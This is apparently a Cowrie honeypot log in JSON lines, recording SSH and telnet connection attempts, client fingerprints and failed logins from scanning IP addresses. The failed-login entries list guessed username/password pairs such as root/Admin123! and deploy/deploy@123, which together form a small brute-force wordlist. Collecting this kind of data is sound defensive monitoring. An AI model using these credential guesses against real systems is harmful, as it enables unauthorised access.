{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:39.753737Z","src_ip":"159.203.92.129","session":"a3244b9734c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:40.433385Z","src_ip":"202.184.144.220","session":"7aa7eab77399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37358,"dst_ip":"10.17.0.5","dst_port":22,"session":"f92b5b614906","protocol":"ssh","message":"New connection: 176.65.139.103:37358 (10.17.0.5:22) [session: f92b5b614906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:41.172932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:41.192835Z","src_ip":"176.65.139.103","session":"f92b5b614906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:41.258542Z","src_ip":"176.65.139.103","session":"f92b5b614906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:41.602648Z","src_ip":"176.65.139.103","session":"f92b5b614906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.481584548950195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:41.759928Z","src_ip":"161.97.124.15","session":"aabc05075ac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:42.723275Z","src_ip":"176.65.139.103","session":"f92b5b614906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":50438,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4c8c2b0b79c","protocol":"telnet","message":"New connection: 161.97.124.15:50438 (159.203.135.109:23) [session: b4c8c2b0b79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:45.506452Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40750,"dst_ip":"10.17.0.5","dst_port":22,"session":"b59fa962b401","protocol":"ssh","message":"New connection: 176.65.139.103:40750 (10.17.0.5:22) [session: b59fa962b401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:48.039662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:48.044307Z","src_ip":"176.65.139.103","session":"b59fa962b401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.566153049468994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:48.080223Z","src_ip":"161.97.124.15","session":"f283bda3e496","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:48.127362Z","src_ip":"176.65.139.103","session":"b59fa962b401","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:48.507285Z","src_ip":"176.65.139.103","session":"b59fa962b401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:49.623738Z","src_ip":"176.65.139.103","session":"b59fa962b401","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":60620,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5a0ebefd91","protocol":"telnet","message":"New connection: 161.97.124.15:60620 (159.203.135.109:23) [session: cd5a0ebefd91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:50.780193Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":36710,"dst_ip":"159.203.135.109","dst_port":23,"session":"2046e9d62374","protocol":"telnet","message":"New connection: 161.97.124.15:36710 (159.203.135.109:23) [session: 2046e9d62374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:52.824347Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":56702,"dst_ip":"10.17.0.5","dst_port":22,"session":"1626f6dc1d91","protocol":"ssh","message":"New connection: 103.176.20.115:56702 (10.17.0.5:22) [session: 1626f6dc1d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:53.267127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:53.271052Z","src_ip":"103.176.20.115","session":"1626f6dc1d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:53.532703Z","src_ip":"103.176.20.115","session":"1626f6dc1d91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"brasil","message":"login attempt [root/brasil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:54.601169Z","src_ip":"103.176.20.115","session":"1626f6dc1d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54138,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b6d6f177c1e","protocol":"ssh","message":"New connection: 176.65.139.103:54138 (10.17.0.5:22) [session: 7b6d6f177c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:55.106207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:55.111222Z","src_ip":"176.65.139.103","session":"7b6d6f177c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:55.203589Z","src_ip":"176.65.139.103","session":"7b6d6f177c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:55.473056Z","src_ip":"176.65.139.103","session":"7b6d6f177c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:55.862865Z","src_ip":"103.176.20.115","session":"1626f6dc1d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:56.559729Z","src_ip":"176.65.139.103","session":"7b6d6f177c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":44568,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f70de2019fe","protocol":"telnet","message":"New connection: 161.97.124.15:44568 (159.203.135.109:23) [session: 6f70de2019fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:57.060910Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":46418,"dst_ip":"159.203.135.109","dst_port":23,"session":"30dc1127e2d0","protocol":"telnet","message":"New connection: 161.97.124.15:46418 (159.203.135.109:23) [session: 30dc1127e2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:58.129635Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":47218,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2e7db5c29f1","protocol":"telnet","message":"New connection: 161.97.124.15:47218 (159.203.135.109:23) [session: f2e7db5c29f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:58.417107Z"}
{"eventid":"cowrie.session.closed","duration":30.49130392074585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:01.060783Z","src_ip":"161.97.124.15","session":"2bf84a906126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54156,"dst_ip":"10.17.0.5","dst_port":22,"session":"da21fe552591","protocol":"ssh","message":"New connection: 176.65.139.103:54156 (10.17.0.5:22) [session: da21fe552591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:01.953233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:01.957449Z","src_ip":"176.65.139.103","session":"da21fe552591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:02.039723Z","src_ip":"176.65.139.103","session":"da21fe552591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:02.300281Z","src_ip":"176.65.139.103","session":"da21fe552591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:03.458463Z","src_ip":"176.65.139.103","session":"da21fe552591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":59384,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ac02d3d01de","protocol":"telnet","message":"New connection: 161.97.124.15:59384 (159.203.135.109:23) [session: 1ac02d3d01de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:04.543263Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":56736,"dst_ip":"10.17.0.5","dst_port":23,"session":"0688fa64aad0","protocol":"telnet","message":"New connection: 213.136.75.179:56736 (10.17.0.5:23) [session: 0688fa64aad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:07.069841Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40724,"dst_ip":"10.17.0.5","dst_port":22,"session":"e777663a07b7","protocol":"ssh","message":"New connection: 176.65.139.103:40724 (10.17.0.5:22) [session: e777663a07b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:08.483014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:08.487730Z","src_ip":"176.65.139.103","session":"e777663a07b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:08.573559Z","src_ip":"176.65.139.103","session":"e777663a07b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:08.825199Z","src_ip":"176.65.139.103","session":"e777663a07b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:10.026389Z","src_ip":"176.65.139.103","session":"e777663a07b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":47308,"dst_ip":"159.203.135.109","dst_port":23,"session":"317e6276214a","protocol":"telnet","message":"New connection: 161.97.124.15:47308 (159.203.135.109:23) [session: 317e6276214a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:13.282953Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41842,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d82f2583da","protocol":"ssh","message":"New connection: 176.65.139.103:41842 (10.17.0.5:22) [session: b2d82f2583da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:15.447234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:15.470601Z","src_ip":"176.65.139.103","session":"b2d82f2583da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:15.562160Z","src_ip":"176.65.139.103","session":"b2d82f2583da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:15.867733Z","src_ip":"176.65.139.103","session":"b2d82f2583da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55343508720398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:16.059736Z","src_ip":"161.97.124.15","session":"b4c8c2b0b79c","protocol":"telnet"}
